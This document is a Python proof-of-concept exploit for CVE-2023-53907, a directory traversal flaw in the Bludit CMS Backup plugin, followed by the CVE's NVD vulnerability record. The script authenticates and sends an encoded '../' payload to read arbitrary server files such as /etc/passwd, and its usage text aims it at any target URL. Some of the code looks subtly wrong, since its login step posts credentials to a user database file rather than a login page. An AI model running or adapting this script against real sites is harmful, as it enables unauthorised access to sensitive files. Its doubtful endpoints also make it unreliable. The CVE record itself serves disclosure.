CVE-2023-53907

import requests import sys # CVE-2023-53907 PoC - Bludit Backup Plugin Directory Traversal # Target: Bludit CMS < 3.13.1 # Type: Authenticated Arbitrary File Read via Path Traversal def exploit_bludit_lfi(target_url, username, password, filename='/etc/passwd'): """ Exploit authenticated arbitrary file read vulnerability in Bludit Backup Plugin. Args: target_url: Base URL of the vulnerable Bludit installation username: Valid low-privilege user account password: Password for the user account filename: Path to file to read (default: /etc/passwd) Returns: Content of the requested file if exploitation succeeds """ login_url = f"{target_url}/bl-content/databases/users.php" session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data) # Step 2: Exploit path traversal in Backup plugin download functionality exploit_url = f"{target_url}/bl-plugins/backup/function/download.php" # Path traversal payload - encode ../ sequence to bypass filters payload = "..%2F..%2F..%2F" + filename.replace('/', '%2F') exploit_params = { 'path': payload } exploit_response = session.get(exploit_url, params=exploit_params) if exploit_response.status_code == 200: print(f"[+] Successfully retrieved file: {filename}") print(f"[+] File content length: {len(exploit_response.text)} bytes") return exploit_response.text else: print(f"[-] Exploitation failed with status code: {exploit_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2023-53907.py <target_url> <username> <password> [filename]") print("Example: python cve-2023-53907.py http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '/etc/passwd' result = exploit_bludit_lfi(target, user, pwd, file_path) if result: print("\n" + "="*50) print(result)

{"cve": {"id": "CVE-2023-53907", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:15:48.883", "lastModified": "2025-12-31T18:31:31.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bludit versions before 3.13.1 contain an authenticated file download vulnerability in the Backup Plugin that allows logged-in users to access arbitrary files. Attackers can exploit the plugin's download functionality by manipulating file path parameters to read sensitive system files through directory traversal."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bludit:bludit:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.1", "matchCriteriaId": "3F07EB57-0333-4B8C-8995-7F5C34DBA966"}]}]}], "references": [{"url": "https://www.bludit.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51541", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/bludit-authenticated-arbitrary-file-download-via-backup-plugin", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}